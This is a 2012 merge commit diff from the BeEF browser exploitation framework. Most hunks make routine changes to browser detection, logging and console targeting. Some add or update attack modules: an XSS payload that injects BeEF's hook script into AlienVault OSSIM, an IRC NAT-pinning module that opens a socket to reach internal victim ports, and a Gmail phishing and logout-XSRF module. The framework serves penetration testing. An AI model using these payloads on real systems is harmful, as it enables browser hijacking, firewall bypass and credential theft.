Merge branch 'master' of https://github.com/beefproject/beef into notifications

This commit is contained in:
Marc Wickenden
2012-08-03 22:03:08 +01:00
17 changed files with 199 additions and 47 deletions

View File

@@ -43,7 +43,7 @@ beef:
websocket:
enable: false
secure: false # use WebSocketSecure
port: 11989
port: 61985 # good success rate through proxies
alive_timer: 1000 # poll BeEF every second
# Imitate a specified web server (default root page, 404 default error page, 'Server' HTTP response header)

View File

@@ -348,12 +348,20 @@ beef.browser = {
return (!!window.chrome && !window.webkitPerformance) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10)==20)?true:false);
},
/**
* Returns true if Chrome 21.
* @example: beef.browser.isC21()
*/
isC21: function() {
return (!!window.chrome && !window.webkitPerformance) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10)==21)?true:false);
},
/**
* Returns true if Chrome.
* @example: beef.browser.isC()
*/
isC: function() {
return this.isC5() || this.isC6() || this.isC7() || this.isC8() || this.isC9() || this.isC10() || this.isC11() || this.isC12() || this.isC13() || this.isC14() || this.isC15() || this.isC16()|| this.isC17() || this.isC18() || this.isC19() || this.isC20();
return this.isC5() || this.isC6() || this.isC7() || this.isC8() || this.isC9() || this.isC10() || this.isC11() || this.isC12() || this.isC13() || this.isC14() || this.isC15() || this.isC16()|| this.isC17() || this.isC18() || this.isC19() || this.isC20() || this.isC21();
},
/**
@@ -429,6 +437,7 @@ beef.browser = {
C18: this.isC18(), // Chrome 18
C19: this.isC19(), // Chrome 19
C20: this.isC20(), // Chrome 20
C21: this.isC21(), // Chrome 21
C: this.isC(), // Chrome any version
FF2: this.isFF2(), // Firefox 2
@@ -491,8 +500,9 @@ beef.browser = {
if (this.isC18()) { return '18' }; // Chrome 18
if (this.isC19()) { return '19' }; // Chrome 19
if (this.isC20()) { return '20' }; // Chrome 20
if (this.isC21()) { return '21' }; // Chrome 21
if (this.isFF2()) { return '2' }; // Firefox 2
if (this.isFF2()) { return '2' }; // Firefox 2
if (this.isFF3()) { return '3' }; // Firefox 3
if (this.isFF3_5()) { return '3.5'}; // Firefox 3.5
if (this.isFF3_6()) { return '3.6'}; // Firefox 3.6

View File

@@ -279,7 +279,7 @@ module BeEF
end
# log a few info of newly hooked zombie in the console
print_info "New Hooked Browser [ip:#{zombie.ip}, type:#{browser_name}-#{browser_version}, os:#{os_name}], hooked domain [#{log_zombie_domain}:#{log_zombie_port.to_s}]"
print_info "New Hooked Browser [id:#{zombie.id}, ip:#{zombie.ip}, type:#{browser_name}-#{browser_version}, os:#{os_name}], hooked domain [#{log_zombie_domain}:#{log_zombie_port.to_s}]"
# Call autorun modules

View File

@@ -82,7 +82,7 @@ module BeEF
# @note prints the event to the console
if BeEF::Settings.console?
name = command_module.friendlyname || kclass
print_info "Hooked browser #{hooked_browser.ip} has been sent instructions from command module '#{name}'"
print_info "Hooked browser [id:#{hooked_browser.id}, ip:#{hooked_browser.ip}] has been sent instructions from command module '#{name}'"
end
# @note flag that the command has been sent to the hooked browser

View File

@@ -65,11 +65,11 @@ module Models
command.save
# @note log that the result was returned
BeEF::Core::Logger.instance.register('Command', "Hooked browser #{hooked_browser.ip} has executed instructions from command module '#{command_friendly_name}'", hooked_browser_id)
BeEF::Core::Logger.instance.register('Command', "Hooked browser [id:#{hooked_browser.id}, ip:#{hooked_browser.ip}] has executed instructions from command module '#{command_friendly_name}'", hooked_browser_id)
# @note prints the event into the console
if BeEF::Settings.console?
print_info "Hooked browser #{hooked_browser.ip} has executed instructions from command module '#{command_friendly_name}'"
print_info "Hooked browser [id:#{hooked_browser.id}, ip:#{hooked_browser.ip}] has executed instructions from command module '#{command_friendly_name}'"
end
end

View File

@@ -69,9 +69,14 @@ module Handlers
server = TCPServer.new(host,port)
loop do
Thread.start(server.accept) do |client|
# client.puts ""
# we don't close the client socket
# client.close
data = ""
recv_length = 1024
while (tmp = client.recv(recv_length))
data += tmp
break if tmp.length < recv_length || tmp.length == recv_length
end
client.close
print_debug "Bind Socket on Thread [#{name}] received:\n#{data}"
end
end
}

View File

@@ -28,6 +28,7 @@ class Modules < BeEF::Extension::AdminUI::HttpController
def initialize
super({
'paths' => {
'/getRestfulApiToken.json' => method(:get_restful_api_token),
'/select/commandmodules/all.json' => method(:select_all_command_modules),
'/select/commandmodules/tree.json' => method(:select_command_modules_tree),
'/select/commandmodule.json' => method(:select_command_module),
@@ -43,6 +44,17 @@ class Modules < BeEF::Extension::AdminUI::HttpController
@session = BeEF::Extension::AdminUI::Session.instance
end
# @note Returns the RESTful api key. Authenticated call, so callable only
# from the admin UI after successful authentication (cookie).
# -> http://127.0.0.1:3000/ui/modules/getRestfulApiToken.json
# response
# <- {"token":"800679edbb59976935d7673924caaa9e99f55c32"}
def get_restful_api_token
@body = {
'token' => BeEF::Core::Configuration.instance.get("beef.api_token")
}.to_json
end
# Returns a JSON array containing the summary for a selected zombie.
def select_zombie_summary

View File

@@ -47,10 +47,14 @@ class Core
end
def cmd_back(*args)
if (driver.current_dispatcher.name == 'Command')
driver.remove_dispatcher('Command')
driver.interface.clearcommand #TODO: TIDY THIS UP
driver.update_prompt("(%bld%red"+driver.interface.targetip+"%clr) ["+driver.interface.targetid.to_s+"] ")
if (driver.current_dispatcher.name == 'Command')
driver.remove_dispatcher('Command')
driver.interface.clearcommand #TODO: TIDY THIS UP
if driver.interface.targetid.length > 1
driver.update_prompt("(%bld%redMultiple%clr) ["+driver.interface.targetid.join(",")+"] ")
else
driver.update_prompt("(%bld%red"+driver.interface.targetip+"%clr) ["+driver.interface.targetid.first.to_s+"] ")
end
elsif (driver.current_dispatcher.name == 'Target')
driver.remove_dispatcher('Target')
driver.interface.cleartarget
@@ -147,11 +151,12 @@ class Core
[
'Id',
'IP',
'Browser',
'OS'
])
BeEF::Core::Models::HookedBrowser.all(:lastseen.gte => (Time.new.to_i - 30)).each do |zombie|
tbl << [zombie.id,zombie.ip,beef_logo_to_os(BeEF::Core::Models::BrowserDetails.os_icon(zombie.session))]
tbl << [zombie.id,zombie.ip,BeEF::Core::Models::BrowserDetails.get(zombie.session, 'BrowserName')+"-"+BeEF::Core::Models::BrowserDetails.get(zombie.session, 'BrowserVersion'),BeEF::Core::Models::BrowserDetails.get(zombie.session, 'OsName')]
end
puts "\n"
@@ -178,11 +183,12 @@ class Core
[
'Id',
'IP',
'Browser',
'OS'
])
BeEF::Core::Models::HookedBrowser.all(:lastseen.lt => (Time.new.to_i - 30)).each do |zombie|
tbl << [zombie.id,zombie.ip,beef_logo_to_os(BeEF::Core::Models::BrowserDetails.os_icon(zombie.session))]
tbl << [zombie.id,zombie.ip,BeEF::Core::Models::BrowserDetails.get(zombie.session, 'BrowserName')+"-"+BeEF::Core::Models::BrowserDetails.get(zombie.session, 'BrowserVersion'),BeEF::Core::Models::BrowserDetails.get(zombie.session, 'OsName')]
end
puts "\n"
@@ -213,23 +219,30 @@ class Core
BeEF::Core::Models::HookedBrowser.all(:lastseen.gt => (Time.new.to_i - 30)).each do |zombie|
onlinezombies << zombie.id
end
if not onlinezombies.include?(args[0].to_i)
print_status("Browser does not appear to be online..")
return false
end
if not driver.interface.settarget(args[0]).nil?
targets = args[0].split(',')
targets.each {|t|
if not onlinezombies.include?(t.to_i)
print_status("Browser [id:"+t.to_s+"] does not appear to be online.")
return false
end
#print_status("Adding browser [id:"+t.to_s+"] to target list.")
}
if not driver.interface.settarget(targets).nil?
if (driver.dispatcher_stack.size > 1 and
driver.current_dispatcher.name != 'Core')
driver.destack_dispatcher
driver.update_prompt('')
driver.update_prompt('')
end
driver.enstack_dispatcher(Target)
driver.update_prompt("(%bld%red"+driver.interface.targetip+"%clr) ["+driver.interface.targetid.to_s+"] ")
if driver.interface.targetid.length > 1
driver.update_prompt("(%bld%redMultiple%clr) ["+driver.interface.targetid.join(",")+"] ")
else
driver.update_prompt("(%bld%red"+driver.interface.targetip+"%clr) ["+driver.interface.targetid.first.to_s+"] ")
end
end
end
@@ -287,13 +300,16 @@ class Core
if not driver.interface.setofflinetarget(args[0]).nil?
if (driver.dispatcher_stack.size > 1 and
driver.current_dispatcher.name != 'Core')
driver.destack_dispatcher
driver.update_prompt('')
driver.update_prompt('')
end
driver.enstack_dispatcher(Target)
driver.update_prompt("(%bld%red"+driver.interface.targetip+"%clr) ["+driver.interface.targetid.to_s+"] ")
if driver.interface.targetid.length > 1
driver.update_prompt("(%bld%redMultiple%clr) ["+driver.interface.targetid.join(",")+"] ")
else
driver.update_prompt("(%bld%red"+driver.interface.targetip+"%clr) ["+driver.interface.targetid.to_s+"] ")
end
end
end
@@ -381,4 +397,4 @@ class Core
end
end end end end
end end end end

View File

@@ -28,7 +28,7 @@ class Target
begin
driver.interface.getcommands.each { |folder|
folder['children'].each { |command|
@@commands << folder['text'] + "/" + command['text'].gsub(/[-\(\)]/,"").gsub(/\W+/,"_")
@@commands << folder['text'] + command['text'].gsub(/[-\(\)]/,"").gsub(/\W+/,"_")
}
}
rescue
@@ -73,8 +73,8 @@ class Target
driver.interface.getcommands.each { |folder|
folder['children'].each { |command|
tbl << [command['id'].to_s,
folder['text'] + "/" + command['text'].gsub(/[-\(\)]/,"").gsub(/\W+/,"_"),
tbl << [command['id'].to_i,
folder['text'] + command['text'].gsub(/[-\(\)]/,"").gsub(/\W+/,"_"),
command['status'].gsub(/^Verified /,""),
driver.interface.getcommandresponses(command['id']).length] #TODO
}
@@ -159,7 +159,12 @@ class Target
driver.enstack_dispatcher(Command) if driver.dispatched_enstacked(Command) == false
driver.update_prompt("(%bld%red"+driver.interface.targetip+"%clr) ["+driver.interface.targetid.to_s+"] / "+driver.interface.cmd['Name']+" ")
if driver.interface.targetid.length > 1
driver.update_prompt("(%bld%redMultiple%clr) ["+driver.interface.targetid.join(",")+"] / "+driver.interface.cmd['Name']+" ")
else
driver.update_prompt("(%bld%red"+driver.interface.targetip+"%clr) ["+driver.interface.targetid.first.to_s+"] / "+driver.interface.cmd['Name']+" ")
end
end
def cmd_select_help(*args)

View File

@@ -60,6 +60,9 @@ class ShellInterface
tree = []
BeEF::Modules.get_categories.each { |c|
if c[-1,1] != "/"
c.concat("/")
end
tree.push({
'text' => c,
'cls' => 'folder',
@@ -68,7 +71,21 @@ class ShellInterface
}
BeEF::Modules.get_enabled.each{|k, mod|
update_command_module_tree(tree, mod['category'], get_command_module_status(k), mod['name'],mod['db']['id'])
flatcategory = ""
if mod['category'].kind_of?(Array)
# Therefore this module has nested categories (sub-folders), munge them together into a string with '/' characters, like a folder.
mod['category'].each {|cat|
flatcategory << cat + "/"
}
else
flatcategory = mod['category']
if flatcategory[-1,1] != "/"
flatcategory.concat("/")
end
end
update_command_module_tree(tree, flatcategory, get_command_module_status(k), mod['name'],mod['db']['id'])
}
# if dynamic modules are found in the DB, then we don't have yaml config for them
@@ -336,7 +353,7 @@ class ShellInterface
page_name_row = {
'category' => 'Host',
'data' => encoded_date_stamp,
'data' => encoded_date_stamp_hash,
'from' => 'Initialization'
}

View File

@@ -0,0 +1,26 @@
//
// Copyright 2012 Wade Alcorn wade@bindshell.net
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
beef.execute(function() {
var uri = '<%= @uri.gsub(/'/, "\\'") %>';
var alienvault_iframe_<%= @command_id %> = beef.dom.createInvisibleIframe();
alienvault_iframe_<%= @command_id %>.setAttribute('src', uri);
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
});

View File

@@ -0,0 +1,25 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
beef:
module:
alienvault_ossim_3_1_xss:
enable: true
category: ["Exploits", "XSS"]
name: "AlienVault OSSIM 3.1 XSS"
description: "Attempts to hook AlienVault OSSIM 3.1 using XSS.<br/>For more information see: http://www.exploit-db.com/exploits/20062/"
authors: ["bcoles", "muts"]
target:
working: ["ALL"]

View File

@@ -0,0 +1,33 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
class Alienvault_ossim_3_1_xss < BeEF::Core::Command
def self.options
configuration = BeEF::Core::Configuration.instance
hook_uri = "http://#{configuration.get("beef.http.host")}:#{configuration.get("beef.http.port")}/hook.js"
return [
{'name' => 'uri', 'ui_label' => 'Target URL', 'value' => 'http://target/ossim/top.php?option=3&soption=3&url=<script src='+hook_uri+'></script>'}
]
end
def post_execute
save({'result' => @datastore['result']})
end
end

View File

@@ -25,7 +25,7 @@ beef.execute(function() {
var myIframe = beef.dom.createInvisibleIframe();
var myForm = document.createElement("form");
var action = connectto + ":6667/"
var action = "http://" + connectto + ":6667/"
myForm.setAttribute("name", "data");
myForm.setAttribute("method", "post");

View File

@@ -19,7 +19,7 @@ beef:
enable: true
category: "Network"
name: "IRC NAT Pinning"
description: "Attempts to open closed ports on statefull firewalls and attempts to create pinholes on NAT-devices. The firewall/NAT-device must support IRC connection tracking. On the attackers side the TCP connection just needs to be accepted (nc -l -p 6667). Then you can connect to the victims public IP on that port. For the moment it hasn't been tested with NAT, but it works with iptables when ip_conntrack and ip_conntrack_irc are loaded. For more information, please refer to: <a href='http://samy.pl/natpin/'>http://samy.pl/natpin/</a> ."
description: "Attempts to open closed ports on statefull firewalls and attempts to create pinholes on NAT-devices. The firewall/NAT-device must support IRC connection tracking. BeEF will automatically bind a socket on port 6667 (IRC). Then you can connect to the victims public IP on that port. For more information, please refer to: <a href='http://samy.pl/natpin/'>http://samy.pl/natpin/</a> ."
authors: ["Bart Leppens"]
target:
working: ["FF"]

View File

@@ -15,14 +15,16 @@
#
class Irc_nat_pinning < BeEF::Core::Command
#todo antisnatchor: reverted for now
#def pre_send
# BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind_socket("IRC", "0.0.0.0", 6667)
#end
def pre_send
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind_socket("IRC", "0.0.0.0", 6667)
end
def self.options
@configuration = BeEF::Core::Configuration.instance
beef_host = @configuration.get("beef.http.public") || @configuration.get("beef.http.host")
return [
{'name'=>'connectto', 'ui_label' =>'Connect to','value'=>'http://attacker.com'},
{'name'=>'connectto', 'ui_label' =>'Connect to','value'=>beef_host},
{'name'=>'privateip', 'ui_label' =>'Private IP','value'=>'192.168.0.100'},
{'name'=>'privateport', 'ui_label' =>'Private Port','value'=>'22'}
]
@@ -32,8 +34,9 @@ class Irc_nat_pinning < BeEF::Core::Command
return if @datastore['result'].nil?
save({'result' => @datastore['result']})
#todo antisnatchor: how long should we leave it open? Maybe default timeout of 30 seconds?
#BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind_socket("IRC")
# wait 30 seconds before unbinding the socket. The HTTP connection will arrive sooner than that anyway.
sleep 30
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind_socket("IRC")
end

View File

@@ -17,7 +17,7 @@ beef:
module:
gmail_phishing:
enable: true
category: ["Social Engineering"]
category: "Social Engineering"
name: "Google Phishing"
description: "This plugin uses an image tag to XSRF the logout button of Gmail. Continuously the user is logged out of Gmail (eg. if he is logged in in another tab). Additionally it will show the Google favicon and a Gmail phishing page (although the URL is NOT the Gmail URL)."
authors: ["floyd @floyd_ch floyd.ch"]